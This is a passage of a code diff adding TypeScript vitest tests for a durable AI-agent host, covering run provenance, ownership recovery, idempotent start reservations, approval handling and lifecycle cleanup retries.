() => { + throw new RunStateUnreadableError('durable-agentic-loop', 'acme_run'); + }), + }, + }); + fixture.setSnapshot({ + requestContext: { 'flowsafe.runProvenance': provenance }, + }); + fixture.setSummary({ runId: 'acme_run', status: 'success' }); + const record = { + version: 2, + agentId: 'writer', + principal: fixture.scope.principal, + originEntryPath: 'http.start', + }; + fixture.state.set(TEST_RUN_RECORD_KEY, record); + const outcome = await fixture.host + .route( + new Request( + `https://thread/_flowsafe/agent-host/runs/writer/acme_run?resourceId=${RESOURCE_ID}`, + ), + fixture.scope, + ) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(doErrorResponse(outcome).status).toBe(503); + }); +}); + +async function hostR1AgentFixture( + input: { + mode?: 'custom-null' | 'actual-prefix' | 'fenced'; + provenance?: 'v1' | 'absent' | 'modern'; + status?: 'pending' | 'suspended' | 'success' | 'cancelled'; + threaded?: boolean; + keyed?: boolean; + wired?: boolean; + journal?: boolean; + lifecycle?: boolean; + } = {}, +) { + const core = await vi.importActual( + '@mastra/core/mastra', + ); + const { InMemoryStore } = await import('@mastra/core/storage'); + const breakwater = await vi.importActual< + typeof import('@proofoftech/breakwater') + >('@proofoftech/breakwater'); + mocked.actualFactory = true; + mocked.actualAgent = breakwater.createGuardedAgent({ + id: 'writer', + name: 'Writer', + instructions: 'Unused host regression agent.', + model: 'openai/gpt-4o-mini', + allowedRoles: ['operator'], + policies: [], + audit: new breakwater.AuditLogger(), + maxSteps: 1, + toolChoice: 'auto', + }); + mocked.mastra.mockImplementation( + (configuration) => new core.Mastra(configuration), + ); + const mode = input.mode ?? 'actual-prefix'; + const threaded = input.threaded ?? true; + const status = input.status ?? 'suspended'; + const version = input.provenance ?? 'v1'; + const sql = openSqlite(); + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & + ResourceOwnershipDatabase; + const storage = + mode === 'custom-null' + ? new InMemoryStore() + : createD1Storage({ binding, tablePrefix: 'host_r1_' }); + await storage.init(); + const { StartIdempotencyStore } = await import( + '../do-runner/start-idempotency.js' + ); + const reservations = new StartIdempotencyStore(binding); + const fence = new ExecutionFenceStore(binding); + await fence.seed('open'); + const app = init( + { storage }, + { + executionFence: mode === 'fenced' ? fence : 'none', + startIdempotency: input.wired === false ? 'none' : reservations, + }, + ); + const resources = new D1ResourceOwnershipStore(binding); + const approvals = { + list: vi.fn(async () => [] as ApprovalRecord[]), + createAsPrincipal: vi.fn(async () => { + throw new Error('unexpected approval creation'); + }), + supersedeStaleAsPrincipal: vi.fn< + ApprovalService['supersedeStaleAsPrincipal'] + >(async () => null), + }; + const dispatch = vi.fn(async () => {}); + const fixture = harness(['writer'], { + storage, + init: app, + resourceAccess: resources, + approvalService: approvals as unknown as ApprovalService, + discardScheduleDispatch: dispatch, + }); + const execution = { + tablePrefix: mode === 'custom-null' ? null : 'host_r1_', + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + startToken: 'host-r1-generation', + }; + let claim: + | import('../do-runner/start-reservation-contract.js').StartReservationReading + | undefined; + if (input.keyed) { + const reserved = await reservations.reserve({ + key: 'host-r1-key', + owner: HUMAN_OWNER, + targetKind: 'agent', + targetId: 'writer', + threadId: 'acme_thread', + mintRunId: () => 'acme_run', + }); + claim = await reservations.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing host claim'); + await reservations.bindPreparedStart(claim, { + ...execution, + owner: HUMAN_OWNER, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }); + } + const recovery = ownerRecovery('acme_run', { + phase: mode === 'fenced' ? 'prepared' : 'prepared-unfenced', + token: 'host-r1-attempt', + execution, + threaded, + ...(claim ? { startReservation: claim } : {}), + }); + seedRecoveryState(fixture.state, 'acme_run', recovery, threaded); + if (!input.journal) fixture.state.delete(TEST_OWNER_RECOVERY_KEY); + await resources.reserveAll( + [ + { kind: 'run', resourceId: 'acme_run' }, + { kind: 'thread', resourceId: 'acme_thread' }, + { kind: 'resource', resourceId: RESOURCE_ID }, + ], + HUMAN_OWNER, + recovery.token as string, + ); + if (!input.journal) + await resources.settleReservation(recovery.token as string, []); + const workflows = await storage.getStore('workflows'); + if (!workflows) throw new Error('missing host workflow domain'); + const snapshot: import('@mastra/core/workflows').WorkflowRunState = { + runId: 'acme_run', + status: + status as import('@mastra/core/workflows').WorkflowRunState['status'], + value: {}, + context: { + input: { + agentId: 'writer', + messageListState: { + memoryInfo: threaded + ? { threadId: 'acme_thread', resourceId: RESOURCE_ID } + : null, + }, + }, + } as unknown as import('@mastra/core/workflows').WorkflowRunState['context'], + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 123, + requestContext: { + runId: 'acme_run', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + 'breakwater.auditContext': { + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + }, + ...(version === 'absent' + ? {} + : { + 'flowsafe.runProvenance': + version === 'v1' + ? { + version: 1, + attemptToken: 'host-r1-legacy-leg', + requestedBy: 'operator-1', + requestedByKind: 'human', + resumeCounts: [], + } + : { + version: 2, + startToken: execution.startToken, + attemptToken: recovery.token, + requestedBy: 'operator-1', + requestedByKind: 'human', + resumeCounts: [], + startIdentity: { + owner: HUMAN_OWNER, + target: { + kind: 'agent', + id: 'writer', + threadId: 'acme_thread', + }, + }, + agentStart: { threaded }, + }, + }), + ...(input.lifecycle + ? { + 'flowsafe.runLifecycle': { + version: 1, + revision: 2, + terminal: { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 10, + replayPrincipals: [HUMAN_OWNER], + }, + scheduleDispatch: { + scheduleId: SCHEDULE_ID, + dispatchId: DISPATCH_ID, + }, + }, + } + : {}), + }, + }; + const persist = async (value = snapshot) => + workflows.persistWorkflowSnapshot({ + workflowName: execution.workflowId, + runId: execution.runId, + snapshot: value, + }); + await persist(); + const read = () => + workflows.loadWorkflowSnapshot({ + workflowName: execution.workflowId, + runId: execution.runId, + }); + const owners = () => + sql + .prepare( + 'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id', + ) + .all(); + return { + ...fixture, + storage, + app, + sql, + workflows, + resources, + reservations, + claim, + fence, + execution, + recovery, + snapshot, + persist, + read, + owners, + approvals, + dispatch, + }; +} + +function hostR1AgentRequest(suffix = '', query = '') { + return new Request( + `https://thread/_flowsafe/agent-host/runs/writer/acme_run${suffix}?resourceId=${RESOURCE_ID}${query}`, + suffix ? { method: 'POST' } : undefined, + ); +} + +describe('FS8 D3 host R1 agent legacy status guards', () => { + it.each([ + ['missing binding', true, 404], + ['wrong binding', true, 404], + ['unthreaded binding', false, 404], + ['wrong record agent', true, 404], + ['missing principal', true, 409], + ] as const)('refuses before approval effects (%s)', async (guard, threaded, status) => { + const fixture = await hostR1AgentFixture({ threaded }); + if (guard === 'missing binding') fixture.state.delete(THREAD_BINDING_KEY); + if (guard === 'wrong binding' || guard === 'unthreaded binding') + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: guard === 'wrong binding' ? 'foreign' : 'writer', + resourceId: RESOURCE_ID, + }); + if (guard === 'wrong record agent') + fixture.state.set(TEST_RUN_RECORD_KEY, { + ...(fixture.state.get(TEST_RUN_RECORD_KEY) as object), + agentId: 'foreign', + }); + if (guard === 'missing principal') + fixture.state.delete(TEST_RUN_RECORD_KEY); + const before = structuredClone(fixture.state); + const outcome = await fixture.host + .route(hostR1AgentRequest(), fixture.scope) + .catch((error: unknown) => error); + expect(fixture.approvals.list).not.toHaveBeenCalled(); + expect(fixture.approvals.createAsPrincipal).not.toHaveBeenCalled(); + expect(fixture.state).toEqual(before); + expect(outcome).toMatchObject({ status }); + }); + + it.each([ + 'v1', + 'absent', + ] as const)('retains raw pending with terminal projection (%s)', async (provenance) => { + const fixture = await hostR1AgentFixture({ + provenance, + status: 'pending', + lifecycle: true, + }); + const before = fixture.owners(); + const outcome = await fixture.host + .blockingRun(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.owners()).toEqual(before); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.approvals.list).not.toHaveBeenCalled(); + expect(fixture.dispatch).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ runId: 'acme_run' }); + }); + + it.each([ + 'malformed provenance', + 'source error', + ] as const)('never falls back after actual selected read failure (%s)', async (failure) => { + const fixture = await hostR1AgentFixture(); + if (failure === 'malformed provenance') { + fixture.snapshot.requestContext = { + ...fixture.snapshot.requestContext, + 'flowsafe.runProvenance': { version: 2 }, + }; + await fixture.persist(); + } else { + const domain = fixture.workflows as FencedWorkflowsStorageD1; + const native = domain[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing capability'); + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: { + ...native, + readSnapshot: async () => { + throw new Error('actual source failed'); + }, + }, + configurable: true, + }); + } + const nominal = vi.spyOn(fixture.workflows, 'loadWorkflowSnapshot'); + const before = structuredClone(fixture.state); + const outcome = await fixture.host + .route(hostR1AgentRequest(), fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state).toEqual(before); + expect(fixture.approvals.list).not.toHaveBeenCalled(); + expect(nominal).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(doErrorResponse(outcome).status).toBe(503); + }); +}); + +describe('FS8 D3 host R1 agent recovery barriers', () => { + it.each([ + ['custom-null', 'missing'], + ['custom-null', 'pending'], + ['custom-null', 'suspended'], + ['actual-prefix', 'missing'], + ['actual-prefix', 'pending'], + ['actual-prefix', 'suspended'], + ] as const)('retains keyed nonterminal authority before missing-store refusal (%s %s)', async (mode, status) => { + const fixture = await hostR1AgentFixture({ + mode, + status: status === 'missing' ? 'pending' : status, + provenance: 'modern', + keyed: true, + wired: false, + journal: true, + }); + if (status === 'missing') + await fixture.workflows.deleteWorkflowRunById({ + workflowName: fixture.execution.workflowId, + runId: 'acme_run', + }); + const before = fixture.owners(); + const bound = await fixture.reservations.readForAdmission('host-r1-key'); + const row = await fixture.read(); + const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt'); + const settle = vi.spyOn(fixture.resources, 'settleReservation'); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.owners()).toEqual(before); + expect(settle).not.toHaveBeenCalled(); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + fixture.recovery, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(true); + expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual( + bound, + ); + expect(await fixture.read()).toEqual(row); + expect(fixture.alarmAt()).toBeDefined(); + expect(b2).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ status: 503 }); + }); + + it.each([ + ['custom-null', true], + ['custom-null', false], + ['actual-prefix', true], + ['actual-prefix', false], + ] as const)('finishes wired or unkeyed suspended recovery (%s keyed=%s)', async (mode, keyed) => { + const fixture = await hostR1AgentFixture({ + mode, + provenance: 'modern', + keyed, + journal: true, + status: 'suspended', + }); + const before = keyed + ? await fixture.reservations.readForAdmission('host-r1-key') + : undefined; + await fixture.host.recoverOwnership(fixture.scope); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect( + keyed + ? await fixture.reservations.readForAdmission('host-r1-key') + : undefined, + ).toEqual(before); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it.each([ + 'generation', + 'phase', + ] as const)('preserves all H ownership when the journal changes inside actual absence read (%s)', async (change) => { + const fixture = await hostR1AgentFixture({ + mode: 'fenced', + provenance: 'modern', + journal: true, + }); + await fixture.workflows.deleteWorkflowRunById({ + workflowName: fixture.execution.workflowId, + runId: 'acme_run', + }); + const before = fixture.owners(); + const record = structuredClone(fixture.state.get(TEST_RUN_RECORD_KEY)); + const binding = structuredClone(fixture.state.get(THREAD_BINDING_KEY)); + const replacement = structuredClone(fixture.recovery); + if (change === 'generation') + (replacement.execution as { startToken: string }).startToken = + 'replacement-generation'; + else replacement.phase = 'prepared-unfenced'; + const domain = fixture.workflows as FencedWorkflowsStorageD1; + const native = domain[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing capability'); + const read = vi.fn( + async (...args: Parameters) => { + const row = await native.readSnapshot(...args); + expect(row).toBeUndefined(); + fixture.state.set(TEST_OWNER_RECOVERY_KEY, replacement); + return row; + }, + ); + Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, { + value: { ...native, readSnapshot: read }, + configurable: true, + }); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.owners()).toEqual(before); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(replacement); + expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record); + expect(fixture.state.get(THREAD_BINDING_KEY)).toEqual(binding); + expect(read).toHaveBeenCalledOnce(); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + ['approvals', 'failure'], + ['approvals', 'response loss'], + ['dispatch', 'failure'], + ['dispatch', 'response loss'], + ['run owner', 'failure'], + ['run owner', 'response loss'], + ['H bookkeeping', 'failure'], + ['H bookkeeping', 'response loss'], + ['completion', 'failure'], + ['completion', 'response loss'], + ] as const)('retains journal through ordered lifecycle retry (%s %s)', async (boundary, failureMode) => { + const fixture = await hostR1AgentFixture({ + mode: 'fenced', + provenance: 'modern', + status: 'cancelled', + journal: true, + lifecycle: true, + }); + fixture.sql + .prepare( + "UPDATE flowsafe_resource_owners SET reservation_token = NULL WHERE resource_kind = 'run' AND resource_id = 'acme_run'", + ) + .run(); + const failure = new Error('host lifecycle boundary failed'); + const events: string[] = []; + let armed = true; + const enter = async ( + name: string, + action: () => Promise, + ): Promise => { + events.push(name); + if (armed && name === boundary && failureMode === 'failure') + throw failure; + const result = await action(); + if (armed && name === boundary) throw failure; + return result; + }; + let approval: ApprovalRecord = { + id: 'host-r1-approval', + workflowId: fixture.execution.workflowId, + runId: 'acme_run', + title: 'Held approval', + connectors: [], + priority: 'normal', + status: 'pending', + createdAt: '2026-09-08T00:00:00.000Z', + updatedAt: '2026-09-08T00:00:00.000Z', + }; + fixture.approvals.list.mockImplementation(async () => [ + structuredClone(approval), + ]); + fixture.approvals.supersedeStaleAsPrincipal.mockImplementation(() => + enter('approvals', async () => { + approval = { ...approval, status: 'rejected' }; + return approval; + }), + ); + fixture.dispatch.mockImplementation(() => + enter('dispatch', async () => {}), + ); + const release = fixture.resources.release.bind(fixture.resources); + vi.spyOn(fixture.resources, 'release').mockImplementation((...args) => + enter('run owner', () => release(...args)), + ); + const settle = fixture.resources.settleReservation.bind(fixture.resources); + vi.spyOn(fixture.resources, 'settleReservation').mockImplementation( + (...args) => enter('H bookkeeping', () => settle(...args)), + ); + const complete = fixture.app.runtime.completeTerminalCleanup.bind( + fixture.app.runtime, + ); + vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup').mockImplementation( + (...args) => enter('completion', () => complete(...args)), + ); + const order = [ + 'H bookkeeping', + 'approvals', + 'dispatch', + 'run owner', + 'completion', + ]; + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + const reached = order.indexOf(boundary); + expect(approval.status).toBe( + boundary === 'H bookkeeping' || + (boundary === 'approvals' && failureMode === 'failure') + ? 'pending' + : 'rejected', + ); + expect(events, String(outcome)).toEqual(order.slice(0, reached + 1)); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual( + fixture.recovery, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe( + boundary !== 'completion', + ); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + reached < order.indexOf('run owner') || + (boundary === 'run owner' && failureMode === 'failure') + ? HUMAN_OWNER + : undefined, + ); + expect(fixture.alarmAt()).toBeDefined(); + expect(outcome).toBe(failure); + armed = false; + events.length = 0; + await fixture.host.recoverOwnership(fixture.scope); + expect(events).toEqual( + boundary === 'completion' && failureMode === 'response loss' + ? ['H bookkeeping'] + : boundary === 'H bookkeeping' || + (boundary === 'approvals' && failureMode === 'failure') + ? order + : order.filter((step) => step !== 'approvals'), + ); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined(); + expect(await fixture.read()).toMatchObject({ + requestContext: { + 'flowsafe.runLifecycle': { + terminal: { cleanupCompletedAt: expect.any(Number) }, + }, + }, + }); + expect(mocked.stream).not.toHaveBeenCalled(); + }); +}); + +describe('FS8 D3 host R1 atomic agent admission', () => { + it('admits one different run ID on a prebound thread with committed same-owner claims', async () => { + const fixture = harness(); + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: 'writer', + resourceId: RESOURCE_ID, + }); + await fixture.resources.claim('thread', 'acme_thread', HUMAN_OWNER); + await fixture.resources.claim('resource', RESOURCE_ID, HUMAN_OWNER); + fixture.setSummary({ runId: 'acme_run', status: 'suspended' }, false); + const release = cDeferred(); + mocked.stream.mockImplementation(async () => { + await release.promise; + return {}; + }); + const first = fixture.host.start(fixture.scope, C_START_INPUT); + const second = fixture.host.start(fixture.scope, { + ...C_START_INPUT, + runId: 'other-run', + }); + const settled = Promise.allSettled([first, second]); + try { + await vi.waitFor(() => expect(mocked.stream).toHaveBeenCalled()); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(mocked.stream).toHaveBeenCalledOnce(); + expect( + [...fixture.state.keys()].filter((key) => + key.startsWith(RUN_RECORD_PREFIX), + ), + ).toHaveLength(1); + } finally { + release.resolve(); + } + const results = await settled; + expect( + results.filter((result) => result.status === 'fulfilled'), + ).toHaveLength(1); + expect( + results.filter((result) => result.status === 'rejected'), + ).toHaveLength(1); + }); +}); + +describe('FS8 D3 host R1 ordinary legacy agent lifecycle', () => { + it.each([ + ['v1', true], + ['v1', false], + ['absent', true], + ['absent', false], + ] as const)('terminates and replays the actual selected legacy row without settling retained key (%s threaded=%s)', async (provenance, threaded) => { + const fixture = await hostR1AgentFixture({ + provenance, + threaded, + keyed: true, + }); + const bound = await fixture.reservations.readForAdmission('host-r1-key'); + const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution'); + const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt'); + const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup'); + const terminate = vi.spyOn(fixture.app.runtime, 'terminateAsPrincipal'); + const response = await fixture.host + .route(hostR1AgentRequest('/terminate'), fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined(); + expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual( + bound, + ); + expect(settle).not.toHaveBeenCalled(); + expect(b2).not.toHaveBeenCalled(); + expect(complete).toHaveBeenCalledOnce(); + expect(response).toMatchObject({ status: 200 }); + const bytes = JSON.stringify(await fixture.read()); + const replay = await fixture.host + .route(hostR1AgentRequest('/terminate', '&replay=1'), fixture.scope) + .catch((error: unknown) => error); + expect(JSON.stringify(await fixture.read())).toBe(bytes); + expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual( + bound, + ); + expect(complete).toHaveBeenCalledOnce(); + expect(terminate).toHaveBeenCalledTimes(2); + expect(replay).toMatchObject({ status: 200 }); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it.each([ + ['v1', true], + ['v1', false], + ['absent', true], + ['absent', false], + ] as const)('retires terminal resume using canonical principal and actual owner despite changed requester (%s threaded=%s)', async (provenance, threaded) => { + const fixture = await hostR1AgentFixture({ provenance, threaded }); + const { FlowsafeDurableAgent } = await import( + '../agent-runner/durable-agent-runner.js' + ); + const resume = vi + .spyOn(FlowsafeDurableAgent.prototype, 'resumeViaRuntime') + .mockImplementation(async () => { + fixture.snapshot.status = 'success'; + fixture.snapshot.result = { result: 'resumed' }; + if (provenance === 'v1') + fixture.snapshot.requestContext = { + ...fixture.snapshot.requestContext, + 'flowsafe.runProvenance': { + version: 1, + attemptToken: 'host-r1-legacy-leg', + requestedBy: 'reviewer-2', + requestedByKind: 'human', + resumeCounts: [], + }, + }; + await fixture.persist(); + return { + runId: 'acme_run', + status: 'success', + result: fixture.snapshot.result, + requestedBy: provenance === 'v1' ? 'reviewer-2' : undefined, + }; + }); + const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution'); + try { + const response = await fixture.host + .route( + new Request('https://thread/_flowsafe/agent-host/resume', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + runId: 'acme_run', + requestedBy: 'reviewer-2', + entryPath: 'approval.resume', + resumeData: {}, + }), + }), + fixture.scope, + ) + .catch((error: unknown) => error); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(settle).not.toHaveBeenCalled(); + expect(resume).toHaveBeenCalledOnce(); + expect(response).toMatchObject({ status: 200 }); + const bytes = JSON.stringify(await fixture.read()); + await expect( + fixture.host.blockingRun(fixture.scope), + ).resolves.toBeUndefined(); + expect(JSON.stringify(await fixture.read())).toBe(bytes); + expect(resume).toHaveBeenCalledOnce(); + } finally { + resume.mockRestore(); + } + }); + + it.each([ + ['v1', 'blocker', 'success'], + ['absent', 'blocker', 'success'], + ['v1', 'blocker', 'suspended'], + ['absent', 'blocker', 'suspended'], + ['v1', 'dispatch', 'success'], + ['absent', 'dispatch', 'success'], + ['v1', 'status', 'success'], + ['absent', 'status', 'success'], + ['v1', 'protected dispatch', 'success'], + ['absent', 'protected dispatch', 'success'], + ] as const)('selects cold actual legacy state (%s %s %s)', async (provenance, path, status) => { + const fixture = await hostR1AgentFixture({ + provenance, + status, + keyed: true, + }); + const bytes = JSON.stringify(await fixture.read()); + const bound = await fixture.reservations.readForAdmission('host-r1-key'); + expect(fixture.app.runtime.workflowIds()).toEqual([]); + const operation = (async () => { + if (path === 'blocker') return fixture.host.blockingRun(fixture.scope); + if (path === 'dispatch') + return fixture.host.scheduleDispatchStatus(fixture.scope, { + agentId: 'writer', + resourceId: RESOURCE_ID, + runId: 'acme_run', + }); + return fixture.host.route( + hostR1AgentRequest( + '', + path === 'protected dispatch' ? '&dispatch=1' : '', + ), + fixture.scope, + ); + })(); + const outcome = await operation.catch((error: unknown) => error); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(status === 'suspended'); + expect(JSON.stringify(await fixture.read())).toBe(bytes); + expect(await fixture.reservations.readForAdmission('host-r1-key')).toEqual( + bound, + ); + expect(fixture.app.runtime.workflowIds()).toContain('durable-agentic-loop'); + expect(mocked.stream).not.toHaveBeenCalled(); + if (path === 'blocker') + expect(outcome).toEqual( + status === 'suspended' + ? expect.objectContaining({ runId: 'acme_run' }) + : undefined, + ); + else if (path === 'dispatch') + expect(outcome).toMatchObject({ runId: 'acme_run', status }); + else expect(outcome).toMatchObject({ status: 200 }); + }); + + it.each([ + 'v1', + 'absent', + ] as const)('retries legacy hook failure without repeated engine execution (%s)', async (provenance) => { + const fixture = await hostR1AgentFixture({ provenance }); + const failure = new Error('approval observation failed'); + fixture.approvals.list.mockRejectedValueOnce(failure); + const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup'); + const result = await fixture.host + .route(hostR1AgentRequest('/terminate'), fixture.scope) + .catch((error: unknown) => error); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(complete).not.toHaveBeenCalled(); + expect(result).toBe(failure); + const retry = await fixture.host.route( + hostR1AgentRequest('/terminate', '&replay=1'), + fixture.scope, + ); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined(); + expect(complete).toHaveBeenCalledOnce(); + expect(retry?.status).toBe(200); + expect(mocked.stream).not.toHaveBeenCalled(); + }); + + it.each([ + 'old journal', + 'modern journal', + 'malformed journal', + 'active execution', + ] as const)('retains legacy terminal bookkeeping without cleanup authority (%s)', async (condition) => { + const fixture = await hostR1AgentFixture({ + provenance: 'absent', + status: 'cancelled', + lifecycle: true, + }); + if (condition === 'old journal') + fixture.state.set(TEST_OWNER_RECOVERY_KEY, { version: 1 }); + if (condition === 'modern journal') + fixture.state.set(TEST_OWNER_RECOVERY_KEY, fixture.recovery); + if (condition === 'malformed journal') + fixture.state.set(TEST_OWNER_RECOVERY_KEY, null); + if (condition === 'active execution') + vi.spyOn(fixture.app.runtime, 'isRunActive').mockReturnValue(true); + const state = structuredClone(fixture.state); + const before = fixture.owners(); + const outcome = await fixture.host + .blockingRun(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.owners()).toEqual(before); + expect(fixture.state).toEqual(state); + expect(fixture.approvals.list).not.toHaveBeenCalled(); + expect(fixture.dispatch).not.toHaveBeenCalled(); + expect(outcome).toBeDefined(); + }); + + it.each([ + 'record', + 'binding', + 'journal', + ] as const)('preserves replacement after legacy cleanup observation waits (%s)', async (replacement) => { + const fixture = await hostR1AgentFixture({ + status: 'cancelled', + lifecycle: true, + }); + const native = fixture.app.runtime.authoritativeStartState.bind( + fixture.app.runtime, + ); + async function replaceDuringRead( + workflowId: string, + runId: string, + options: { readonly includeLegacy: true }, + ): Promise< + | import('../do-runner/runtime.js').AuthoritativeStartState + | import('../do-runner/runtime.js').LegacyRunState + | null + >; + async function replaceDuringRead( + workflowId: string, + runId: string, + ): Promise< + import('../do-runner/runtime.js').AuthoritativeStartState | null + >; + async function replaceDuringRead( + workflowId: string, + runId: string, + options?: { readonly includeLegacy: true }, + ): Promise< + | import('../do-runner/runtime.js').AuthoritativeStartState + | import('../do-runner/runtime.js').LegacyRunState + | null + > { + const selected = options + ? await native(workflowId, runId, options) + : await native(workflowId, runId); + if (replacement === 'record') + fixture.state.set(TEST_RUN_RECORD_KEY, { + ...(fixture.state.get(TEST_RUN_RECORD_KEY) as object), + principal: { ...fixture.scope.principal, role: 'admin' }, + }); + if (replacement === 'binding') + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: 'foreign', + resourceId: RESOURCE_ID, + }); + if (replacement === 'journal') + fixture.state.set(TEST_OWNER_RECOVERY_KEY, { version: 1 }); + return selected; + } + vi.spyOn(fixture.app.runtime, 'authoritativeStartState').mockImplementation( + replaceDuringRead, + ); + const before = fixture.owners(); + const outcome = await fixture.host + .blockingRun(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.owners()).toEqual(before); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.approvals.list).not.toHaveBeenCalled(); + expect(fixture.dispatch).not.toHaveBeenCalled(); + expect(outcome).toBeDefined(); + }); +}); + +describe('FS8 D3 host R1 reserved lifecycle owner', () => { + it('preserves the replacement journal before lifecycle effects after H settlement', async () => { + const fixture = await hostR1AgentFixture({ + mode: 'fenced', + provenance: 'modern', + status: 'cancelled', + journal: true, + lifecycle: true, + }); + const replacement = structuredClone(fixture.recovery); + (replacement.execution as { startToken: string }).startToken = + 'replacement-after-settlement'; + const native = fixture.resources.settleReservation.bind(fixture.resources); + vi.spyOn(fixture.resources, 'settleReservation').mockImplementation( + async (...args) => { + await native(...args); + fixture.state.set(TEST_OWNER_RECOVERY_KEY, replacement); + }, + ); + const release = vi.spyOn(fixture.resources, 'release'); + const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup'); + const outcome = await fixture.host + .recoverOwnership(fixture.scope) + .catch((error: unknown) => error); + expect(fixture.approvals.list).not.toHaveBeenCalled(); + expect(fixture.dispatch).not.toHaveBeenCalled(); + expect(release).not.toHaveBeenCalled(); + expect(complete).not.toHaveBeenCalled(); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(replacement); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + true, + false, + ])('retires the H-reserved run owner before journal lifecycle completion (threaded=%s)', async (threaded) => { + const fixture = await hostR1AgentFixture({ + mode: 'fenced', + threaded, + provenance: 'modern', + status: 'cancelled', + journal: true, + lifecycle: true, + }); + await fixture.host.recoverOwnership(fixture.scope); + expect( + fixture.sql + .prepare( + "SELECT * FROM flowsafe_resource_owners WHERE resource_kind = 'run'", + ) + .all(), + ).toEqual([]); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(await fixture.read()).toMatchObject({ + requestContext: { + 'flowsafe.runLifecycle': { + terminal: { cleanupCompletedAt: expect.any(Number) }, + }, + }, + }); + }); +}); + +describe('FS8 D3 host R1 keyed finalization preflight', () => { + it.each([ + true, + false, + ])('retains the prepared nonterminal start when the reservation store disappears at the bridge (threaded=%s)', async (threaded) => { + const { StartIdempotencyStore } = await import( + '../do-runner/start-idempotency.js' + ); + const reservations = new StartIdempotencyStore( + 